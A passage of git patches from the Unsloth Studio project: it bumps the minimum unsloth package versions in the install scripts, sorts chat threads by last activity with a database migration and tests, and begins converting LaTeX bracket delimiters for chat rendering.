+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2247,7 +2247,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2275,7 +2275,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.1" "unsloth>=2026.7.1" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
diff --git a/install.sh b/install.sh
index 14fbba478d..796d80e401 100755
--- a/install.sh
+++ b/install.sh
@@ -2706,7 +2706,7 @@ if [ "$_MIGRATED" = true ]; then
         # to prevent transitive torch resolution.
         run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1"
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
@@ -2721,7 +2721,7 @@ if [ "$_MIGRATED" = true ]; then
         # overrides file, so UV_OVERRIDE is unset and this positional is the only cover.
         run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" ${_MLX_LM_EXCLUDE_ARG:-}
+            "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1" ${_MLX_LM_EXCLUDE_ARG:-}
     fi
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         substep "overlaying local repo (editable)..."
@@ -2925,7 +2925,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
         run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
-            "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1"
         # Same pydantic-with-deps trick as the migrated branch.
         run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
@@ -2943,7 +2943,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
         run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
-            --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7"
+            --upgrade-package unsloth "unsloth>=2026.7.1" "unsloth-zoo>=2026.7.1"
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2975,7 +2975,7 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.1" "unsloth>=2026.7.1" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."

From 07ecdb34c092cb0107f74dbf117616e320ec6ff2 Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Tue, 7 Jul 2026 22:24:32 +0530
Subject: [PATCH 240/306] Sort chat recents by last activity (#6844)

* show chat by by last activity

* Update chat thread updated_at logic and enhance sidebar chat item handling

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/chat_history.py         |   4 +-
 studio/backend/storage/studio_db.py           |  77 +++++++++-
 .../tests/test_chat_history_storage.py        | 134 ++++++++++++++++++
 .../frontend/src/components/app-sidebar.tsx   |  16 ++-
 .../chat/hooks/use-chat-sidebar-items.ts      |  26 +++-
 studio/frontend/src/features/chat/types.ts    |   1 +
 .../chat/utils/chat-history-storage.ts        |   5 +-
 studio/frontend/src/i18n/locales/en.ts        |   1 +
 studio/frontend/src/i18n/locales/zh-CN.ts     |   1 +
 9 files changed, 252 insertions(+), 13 deletions(-)

diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 963d584303..7a27a58a52 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -56,6 +56,7 @@ class ChatThread(BaseModel):
     projectId: Optional[str] = None
     archived: bool = False
     createdAt: int
+    updatedAt: Optional[int] = None
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
     forkedFromThreadId: Optional[str] = None
@@ -70,6 +71,7 @@ class ChatThreadPatch(BaseModel):
     projectId: Optional[str] = None
     archived: Optional[bool] = None
     createdAt: Optional[int] = None
+    updatedAt: Optional[int] = None
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
 
@@ -252,7 +254,7 @@ async def patch_thread(
     current_subject: str = Depends(get_current_subject),
 ):
     patch = payload.model_dump(exclude_unset = True)
-    for field in ("title", "modelType", "modelId", "archived", "createdAt"):
+    for field in ("title", "modelType", "modelId", "archived", "createdAt", "updatedAt"):
         if field in patch and patch[field] is None:
             raise HTTPException(status_code = 400, detail = f"{field} cannot be null")
     if patch.get("projectId") and get_chat_project(patch["projectId"]) is None:
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index 41a9adcc29..87aa50ee26 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -240,6 +240,7 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
             project_id TEXT,
             archived INTEGER NOT NULL DEFAULT 0,
             created_at INTEGER NOT NULL,
+            updated_at INTEGER,
             openai_code_exec_container_id TEXT,
             anthropic_code_exec_container_id TEXT,
             forked_from_thread_id TEXT,
@@ -261,6 +262,24 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_thread_id TEXT")
     if "forked_from_message_id" not in chat_thread_cols:
         conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_message_id TEXT")
+    if "updated_at" not in chat_thread_cols:
+        conn.execute("ALTER TABLE chat_threads ADD COLUMN updated_at INTEGER")
+        # Floor at created_at: forked threads copy older ancestor messages,
+        # so the fork's creation time must win over the branch message times.
+        conn.execute(
+            """
+            UPDATE chat_threads SET updated_at = MAX(
+                COALESCE(
+                    (
+                        SELECT MAX(m.created_at) FROM chat_messages m
+                        WHERE m.thread_id = chat_threads.id
+                    ),
+                    created_at
+                ),
+                created_at
+            )
+            """
+        )
     conn.execute(
         """
         CREATE TABLE IF NOT EXISTS chat_messages (
@@ -992,6 +1011,9 @@ def _chat_thread_from_row(row: sqlite3.Row) -> dict:
         "projectId": data.get("project_id") or None,
         "archived": bool(data["archived"]),
         "createdAt": data["created_at"],
+        "updatedAt": data.get("updated_at")
+        if data.get("updated_at") is not None
+        else data["created_at"],
         "openaiCodeExecContainerId": data.get("openai_code_exec_container_id"),
         "anthropicCodeExecContainerId": data.get("anthropic_code_exec_container_id"),
         "forkedFromThreadId": data.get("forked_from_thread_id"),
@@ -1039,8 +1061,8 @@ def upsert_chat_thread(thread: dict) -> dict:
         conn.execute(
             """
             INSERT INTO chat_threads
-                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
-            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
+                (id, title, model_type, model_id, pair_id, project_id, archived, created_at, updated_at, openai_code_exec_container_id, anthropic_code_exec_container_id, forked_from_thread_id, forked_from_message_id)
+            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
             ON CONFLICT(id) DO UPDATE SET
                 title = excluded.title,
                 model_type = excluded.model_type,
@@ -1049,6 +1071,7 @@ def upsert_chat_thread(thread: dict) -> dict:
                 project_id = excluded.project_id,
                 archived = excluded.archived,
                 created_at = excluded.created_at,
+                updated_at = COALESCE(excluded.updated_at, chat_threads.updated_at),
                 openai_code_exec_container_id = excluded.openai_code_exec_container_id,
                 anthropic_code_exec_container_id = excluded.anthropic_code_exec_container_id,
                 forked_from_thread_id = excluded.forked_from_thread_id,
@@ -1063,6 +1086,7 @@ def upsert_chat_thread(thread: dict) -> dict:
                 thread.get("projectId"),
                 1 if thread.get("archived") else 0,
                 int(thread["createdAt"]),
+                int(thread["updatedAt"]) if thread.get("updatedAt") is not None else None,
                 thread.get("openaiCodeExecContainerId"),
                 thread.get("anthropicCodeExecContainerId"),
                 thread.get("forkedFromThreadId"),
@@ -1084,6 +1108,7 @@ def update_chat_thread(id: str, patch: dict) -> Optional[dict]:
         "projectId": ("project_id", patch.get("projectId")),
         "archived": ("archived", 1 if patch.get("archived") else 0),
         "createdAt": ("created_at", patch.get("createdAt")),
+        "updatedAt": ("updated_at", patch.get("updatedAt")),
         "openaiCodeExecContainerId": (
             "openai_code_exec_container_id",
             patch.get("openaiCodeExecContainerId"),
@@ -1155,7 +1180,8 @@ def list_chat_threads(
     conn = get_connection()
     try:
         rows = conn.execute(
-            f"SELECT * FROM chat_threads {where} ORDER BY created_at DESC",
+            f"SELECT * FROM chat_threads {where} "
+            "ORDER BY COALESCE(updated_at, created_at) DESC, created_at DESC",
             values,
         ).fetchall()
         return [_chat_thread_from_row(row) for row in rows]
@@ -1394,6 +1420,44 @@ def _raise_if_chat_message_thread_conflicts(
         )
 
 
+def _bump_chat_thread_updated_at(
+    conn: sqlite3.Connection, thread_id: str, message_created_at: int
+) -> None:
+    conn.execute(
+        """
+        UPDATE chat_threads
+        SET updated_at = MAX(COALESCE(updated_at, created_at), ?)
+        WHERE id = ?
+        """,
+        (message_created_at, thread_id),
+    )
+
+
+def _recompute_chat_thread_updated_at(conn: sqlite3.Connection, thread_id: str) -> None:
+    """Set updated_at from the remaining messages, floored at created_at.
+
+    Unlike the ratchet-only bump, this can lower updated_at -- needed after
+    pruning, which may delete the thread's newest message.
+    """
+    conn.execute(
+        """
+        UPDATE chat_threads
+        SET updated_at = MAX(
+            COALESCE(
+                (
+                    SELECT MAX(m.created_at) FROM chat_messages m
+                    WHERE m.thread_id = chat_threads.id
+                ),
+                created_at
+            ),
+            created_at
+        )
+        WHERE id = ?
+        """,
+        (thread_id,),
+    )
+
+
 def upsert_chat_message(message: dict) -> dict:
     conn = get_connection()
     try:
@@ -1432,6 +1496,7 @@ def upsert_chat_message(message: dict) -> dict:
                 int(message["createdAt"]),
             ),
         )
+        _bump_chat_thread_updated_at(conn, message["threadId"], int(message["createdAt"]))
         conn.commit()
         return message
     except Exception:
@@ -1484,6 +1549,12 @@ def sync_chat_messages(
                 for m in messages
             ],
         )
+        if prune_missing:
+            _recompute_chat_thread_updated_at(conn, thread_id)
+        elif messages:
+            _bump_chat_thread_updated_at(
+                conn, thread_id, max(int(m["createdAt"]) for m in messages)
+            )
         conn.commit()
         return list_chat_messages(thread_id)
     except ChatMessageConflictError:
diff --git a/studio/backend/tests/test_chat_history_storage.py b/studio/backend/tests/test_chat_history_storage.py
index aa19df15fe..0239410734 100644
--- a/studio/backend/tests/test_chat_history_storage.py
+++ b/studio/backend/tests/test_chat_history_storage.py
@@ -4,6 +4,7 @@
 import os
 import platform
 import shutil
+import sqlite3
 import threading
 import uuid
 from pathlib import Path
@@ -11,6 +12,7 @@ from pathlib import Path
 import pytest
 
 from storage import studio_db
+from utils.paths import studio_db_path
 
 
 def _reset_studio_db(
@@ -108,6 +110,138 @@ def test_sync_chat_messages_upserts_without_pruning(tmp_path, monkeypatch):
     assert by_id["msg-2"]["content"] == [{"type": "text", "text": "updated text"}]
 
 
+def test_chat_thread_updated_at_bumps_on_message_writes(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    thread = studio_db.upsert_chat_thread(_thread())
+    assert thread["updatedAt"] == thread["createdAt"]
+
+    studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi"))
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    studio_db.upsert_chat_message(_message("msg-0", 1_600_000_000_000, "old"))
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [_message("msg-2", 1_700_000_001_000, "newer")],
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000
+
+
+def test_chat_thread_updated_at_recomputed_when_pruning(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    thread = studio_db.upsert_chat_thread(_thread())
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [
+            _message("msg-1", 1_700_000_000_500, "older"),
+            _message("msg-2", 1_700_000_001_000, "newest"),
+        ],
+        prune_missing = True,
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000
+
+    # Pruning the newest message must lower updated_at to the remaining one.
+    studio_db.sync_chat_messages(
+        "thread-1",
+        [_message("msg-1", 1_700_000_000_500, "older")],
+        prune_missing = True,
+    )
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+    # Pruning every message falls back to created_at.
+    studio_db.sync_chat_messages("thread-1", [], prune_missing = True)
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == thread["createdAt"]
+
+
+def test_chat_thread_updated_at_survives_thread_resave(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    studio_db.upsert_chat_thread(_thread())
+    studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi"))
+
+    studio_db.upsert_chat_thread(_thread())
+    assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500
+
+
+def test_list_chat_threads_orders_by_last_activity(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    older = _thread("thread-old")
+    older["createdAt"] = 1_700_000_000_000
+    newer = _thread("thread-new")
+    newer["createdAt"] = 1_700_000_100_000
+    studio_db.upsert_chat_thread(older)
+    studio_db.upsert_chat_thread(newer)
+    assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-new", "thread-old"]
+
+    studio_db.upsert_chat_message(
+        _message("msg-1", 1_700_000_200_000, "hi", thread_id = "thread-old")
+    )
+    assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-old", "thread-new"]
+
+
+def test_chat_threads_updated_at_migration_backfills_from_messages(tmp_path, monkeypatch):
+    _reset_studio_db(tmp_path, monkeypatch)
+    db_path = studio_db_path()
+    db_path.parent.mkdir(parents = True, exist_ok = True)
+    conn = sqlite3.connect(str(db_path))
+    try:
+        conn.execute(
+            """
+            CREATE TABLE chat_threads (
+                id TEXT NOT NULL PRIMARY KEY,
+                title TEXT NOT NULL,
+                model_type TEXT NOT NULL,
+                model_id TEXT,
+                pair_id TEXT,
+                archived INTEGER NOT NULL DEFAULT 0,
+                created_at INTEGER NOT NULL
+            )
+            """
+        )
+        conn.execute(
+            """
+            CREATE TABLE chat_messages (
+                id TEXT NOT NULL PRIMARY KEY,
+                thread_id TEXT NOT NULL,
+                parent_id TEXT,
+                role TEXT NOT NULL,
+                content_json TEXT NOT NULL,
+                attachments_json TEXT,
+                metadata_json TEXT,
+                created_at INTEGER NOT NULL
+            )
+            """
+        )
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-with-msgs", "Old", "base", 1_700_000_000_000),
+        )
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-empty", "Empty", "base", 1_700_000_050_000),
+        )
+        # Fork-like thread: copied ancestor messages predate the thread itself.
+        conn.execute(
+            "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)",
+            ("thread-fork", "Fork", "base", 1_700_000_100_000),
+        )
+        conn.executemany(
+            "INSERT INTO chat_messages (id, thread_id, role, content_json, created_at) VALUES (?, ?, ?, ?, ?)",
+            [
+                ("m1", "thread-with-msgs", "user", "[]", 1_700_000_001_000),
+                ("m2", "thread-with-msgs", "assistant", "[]", 1_700_000_002_000),
+                ("m3", "thread-fork", "user", "[]", 1_700_000_001_000),
+            ],
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    assert studio_db.get_chat_thread("thread-with-msgs")["updatedAt"] == 1_700_000_002_000
+    assert studio_db.get_chat_thread("thread-empty")["updatedAt"] == 1_700_000_050_000
+    assert studio_db.get_chat_thread("thread-fork")["updatedAt"] == 1_700_000_100_000
+
+
 def test_chat_projects_delete_cascades_threads_and_messages(tmp_path, monkeypatch):
     _reset_studio_db(tmp_path, monkeypatch)
     project = studio_db.upsert_chat_project(_project())
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index fb1a1fc9c7..2dd0d02515 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -359,7 +359,11 @@ export function AppSidebar() {
   const activeProjectId = isChatRoute
     ? ((search.project as string | undefined) ?? null)
     : null;
-  const { items: allChatItems } = useChatSidebarItems({
+  const {
+    items: allChatItems,
+    archivedItems: archivedChatItems,
+    loaded: chatItemsLoaded,
+  } = useChatSidebarItems({
     enabled: !isStudioRoute,
     requireMessages: false,
   });
@@ -1306,6 +1310,16 @@ export function AppSidebar() {
                       renderChatSidebarItem(item, "recent"),
                     )}
                   </SidebarMenu>
+                  {/* "No chats yet" only when there is truly no history:
+                      project-scoped and archived threads leave Recents empty
+                      but still count as existing chats. */}
+                  {chatItemsLoaded &&
+                    allChatItems.length === 0 &&
+                    archivedChatItems.length === 0 && (
+                      <p className="px-3 py-2 text-xs text-muted-foreground">
+                        {t("shell.navigation.noChatsYet")}
+                      </p>
+                    )}
                 </SidebarGroupContent>
               </CollapsibleContent>
             </SidebarGroup>
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
index 55d7777e43..0a0df1139b 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-sidebar-items.ts
@@ -27,16 +27,21 @@ export interface SidebarItem {
   id: string;
   title: string;
   createdAt: number;
+  updatedAt: number;
   isFork?: boolean;
   projectId?: string | null;
 }
 
+function lastActivityAt(thread: ThreadRecord): number {
+  return thread.updatedAt ?? thread.createdAt;
+}
+
 export function groupThreads(
   threads: ThreadRecord[],
   archived = false,
 ): SidebarItem[] {
   const items: SidebarItem[] = [];
-  const seenPairs = new Set<string>();
+  const pairItems = new Map<string, SidebarItem>();
 
   for (const t of threads) {
     // Coerce archived to a boolean before comparing. Legacy threads (from the
@@ -48,30 +53,35 @@ export function groupThreads(
       continue;
     }
     if (t.pairId) {
-      if (seenPairs.has(t.pairId)) {
+      const existing = pairItems.get(t.pairId);
+      if (existing) {
+        existing.updatedAt = Math.max(existing.updatedAt, lastActivityAt(t));
         continue;
       }
-      seenPairs.add(t.pairId);
-      items.push({
+      const item: SidebarItem = {
         type: "compare",
         id: t.pairId,
         title: t.title,
         createdAt: t.createdAt,
+        updatedAt: lastActivityAt(t),
         projectId: t.projectId ?? null,
-      });
+      };
+      pairItems.set(t.pairId, item);
+      items.push(item);
     } else if (!t.pairId) {
       items.push({
         type: "single",
         id: t.id,
         title: t.title,
         createdAt: t.createdAt,
+        updatedAt: lastActivityAt(t),
         isFork: Boolean(t.forkedFromThreadId),
         projectId: t.projectId ?? null,
       });
     }
   }
 
-  return items.sort((a, b) => b.createdAt - a.createdAt);
+  return items.sort((a, b) => b.updatedAt - a.updatedAt);
 }
 
 // Streaming fires CHAT_HISTORY_UPDATED_EVENT per chunk. Debounce so each quiet
@@ -84,6 +94,7 @@ export function useChatSidebarItems(options?: {
   requireMessages?: boolean;
 }) {
   const [allThreads, setAllThreads] = useState<ThreadRecord[]>([]);
+  const [loaded, setLoaded] = useState(false);
   const enabled = options?.enabled ?? true;
   const requireMessages = options?.requireMessages ?? true;
 
@@ -111,6 +122,7 @@ export function useChatSidebarItems(options?: {
         // were in flight, or if the effect was torn down.
         if (cancelled || seq !== requestSeq) return;
         setAllThreads(threads);
+        setLoaded(true);
       } catch (error) {
         if (isExpectedBackgroundChatStorageError(error)) {
           return;
@@ -144,7 +156,7 @@ export function useChatSidebarItems(options?: {
   const archivedItems = groupThreads(allThreads ?? [], true);
   const canCompare = useChatRuntimeStore((s) => Boolean(s.params.checkpoint));
 
-  return { items, archivedItems, canCompare };
+  return { items, archivedItems, canCompare, loaded };
 }
 
 function cancelIfRunning(threadId: string): void {
diff --git a/studio/frontend/src/features/chat/types.ts b/studio/frontend/src/features/chat/types.ts
index 3fe69ccc26..111510d925 100644
--- a/studio/frontend/src/features/chat/types.ts
+++ b/studio/frontend/src/features/chat/types.ts
@@ -36,6 +36,7 @@ export interface ThreadRecord {
   projectId?: string | null;
   archived: boolean;
   createdAt: number;
+  updatedAt?: number;
   /**
    * OpenAI shell tool container id from a prior response. When set, the
    * next turn reuses it via `environment.type="container_reference"` so
diff --git a/studio/frontend/src/features/chat/utils/chat-history-storage.ts b/studio/frontend/src/features/chat/utils/chat-history-storage.ts
index 4294887df0..00df3657b1 100644
--- a/studio/frontend/src/features/chat/utils/chat-history-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-history-storage.ts
@@ -590,7 +590,10 @@ export async function listStoredChatThreads(
   }
   return Array.from(byId.values())
     .filter((thread) => matchesThreadListArgs(thread, args))
-    .sort((a, b) => b.createdAt - a.createdAt);
+    .sort(
+      (a, b) =>
+        (b.updatedAt ?? b.createdAt) - (a.updatedAt ?? a.createdAt),
+    );
 }
 
 export async function listStoredChatThreadsWithMessages(
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 3d73ad4343..b67fd5ca1d 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -41,6 +41,7 @@ export const en = {
       recipes: "Recipes",
       export: "Export",
       recents: "Recents",
+      noChatsYet: "No chats yet",
       settings: "Settings",
       api: "API",
       lightMode: "Light Mode",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index 5fd31dc7cb..f6dc265fc7 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -41,6 +41,7 @@ export const zhCN = {
       recipes: "配方",
       export: "导出",
       recents: "最近",
+      noChatsYet: "暂无对话",
       settings: "设置",
       api: "API",
       lightMode: "浅色模式",

From 93c9d6d0dd0bfd48d5766ac952c3a880a47b3727 Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Tue, 7 Jul 2026 15:13:53 -0300
Subject: [PATCH 241/306] Studio: render \[ \] and \( \) LaTeX delimiters in
 chat (#6914)

---
 studio/frontend/src/lib/latex.ts | 169 ++++++++++++++++++++++++++++---
 1 file changed, 155 insertions(+), 14 deletions(-)

diff --git a/studio/frontend/src/lib/latex.ts b/studio/frontend/src/lib/latex.ts
index 1a4ebdace8..86a9634048 100644
--- a/studio/frontend/src/lib/latex.ts
+++ b/studio/frontend/src/lib/latex.ts
@@ -1,8 +1,13 @@
 // Adapted from LibreChat's latex.ts
 // https://github.com/danny-avila/LibreChat/blob/main/client/src/utils/latex.ts
 //
-// Escapes currency dollar signs so they are not misinterpreted as LaTeX math
-// delimiters when singleDollarTextMath is enabled.
+// Two jobs, in order:
+//   1. Convert LaTeX bracket delimiters (`\[...\]`, `\(...\)`) into the dollar
+//      forms remark-math understands (`$$...$$`, `$...$`). remark-math only
+//      tokenizes dollar delimiters, so models that emit `\[...\]` / `\(...\)`
+//      would otherwise render as literal text.
+//   2. Escape currency dollar signs so they are not misinterpreted as LaTeX
+//      math delimiters when singleDollarTextMath is enabled.
 
 /**
  * Matches a single $ followed by a number pattern (currency), e.g.:
@@ -15,14 +20,14 @@ const CURRENCY_REGEX =
   /(?<![\\$])\$(?!\$)(?=\d+(?:,\d{3})*(?:\.\d+)?[KMBkmb]?(?:\s|$|[^a-zA-Z\d]))/g;
 
 /**
- * Find code-block regions (``` ... ``` and ` ... `) to skip.
+ * Find code-block regions (``` ... ```, ~~~ ... ~~~, and ` ... `) to skip.
  * Returns a sorted array of [start, end] index pairs.
  */
 function findCodeBlockRegions(content: string): Array<[number, number]> {
   const regions: Array<[number, number]> = [];
 
-  // Fenced code blocks: ```...```
-  const fencedRe = /```[\s\S]*?```/g;
+  // Fenced code blocks: ```...``` and ~~~...~~~ (both are code in GFM)
+  const fencedRe = /```[\s\S]*?```|~~~[\s\S]*?~~~/g;
   let match: RegExpExecArray | null;
   while ((match = fencedRe.exec(content)) !== null) {
     regions.push([match.index, match.index + match[0].length]);
@@ -51,9 +56,38 @@ function findCodeBlockRegions(content: string): Array<[number, number]> {
 }
 
 /**
- * Binary search to check if a position falls inside any code region.
+ * Match an inline link/image `[text](DEST)`, capturing the destination as group 1
+ * with the `d` flag so its span is read straight from `match.indices` (the text
+ * can contain an escaped `\](`, so a string search for the separator is unsafe).
+ * The text disallows unescaped `]`; the destination allows escapes and one level
+ * of balanced parens.
  */
-function isInCodeBlock(
+const LINK_DEST_RE =
+  /!?\[(?:\\.|[^\]\\])*?\]\(((?:\\.|[^()\\]|\([^()]*\))*)\)/gd;
+
+/**
+ * Find the destination spans of inline links/images, so a `\(...\)` written with
+ * escaped parens inside a URL isn't rewritten as math (which would break the
+ * link). Only the destination is returned, not the link text, so math in the
+ * visible text still converts. Sorted, non-overlapping (matches are disjoint).
+ */
+function findLinkDestinationRegions(content: string): Array<[number, number]> {
+  if (!content.includes("](")) return [];
+  const regions: Array<[number, number]> = [];
+  let match: RegExpExecArray | null;
+  LINK_DEST_RE.lastIndex = 0;
+  while ((match = LINK_DEST_RE.exec(content)) !== null) {
+    // `indices` is present (the `d` flag); group 1 spans the destination.
+    regions.push(match.indices![1]);
+  }
+  return regions;
+}
+
+/**
+ * Binary search to check if a position falls inside any region. Regions must be
+ * sorted by start and non-overlapping.
+ */
+function isInRegion(
   position: number,
   regions: Array<[number, number]>,
 ): boolean {
@@ -174,9 +208,109 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
 }
 
 /**
- * Preprocess a markdown string to escape currency dollar signs so they are not
- * parsed as LaTeX math delimiters.
+ * Matches a `\[...\]` (display) or `\(...\)` (inline) LaTeX span. Non-greedy so
+ * the first closer wins; dotall so display spans can wrap lines. `(?<!\\)` on
+ * each opener leaves an escaped literal `\\[` (a real backslash then bracket)
+ * alone. The body is length-capped so an unclosed opener can't scan to
+ * end-of-input: without the cap, many unclosed `\(`/`\[` make matching O(n^2),
+ * and this runs per animation frame while streaming. Real spans are far shorter
+ * than the cap; a longer one just stays literal.
+ */
+const LATEX_DELIM_RE =
+  /(?<!\\)\\\[([\s\S]{0,4096}?)\\\]|(?<!\\)\\\(([\s\S]{0,4096}?)\\\)/g;
+
+/**
+ * Rewrite `\[...\]` -> block `$$...$$` and `\(...\)` -> inline `$...$` so
+ * remark-math can tokenize them. Bodies are trimmed: remark-math won't open an
+ * inline span on `$ ` (a `$` followed by whitespace), and display fences must
+ * sit on their own line to render as a centered block (not inline math), so
+ * `\[...\]` becomes `\n$$\n...\n$$\n`.
  *
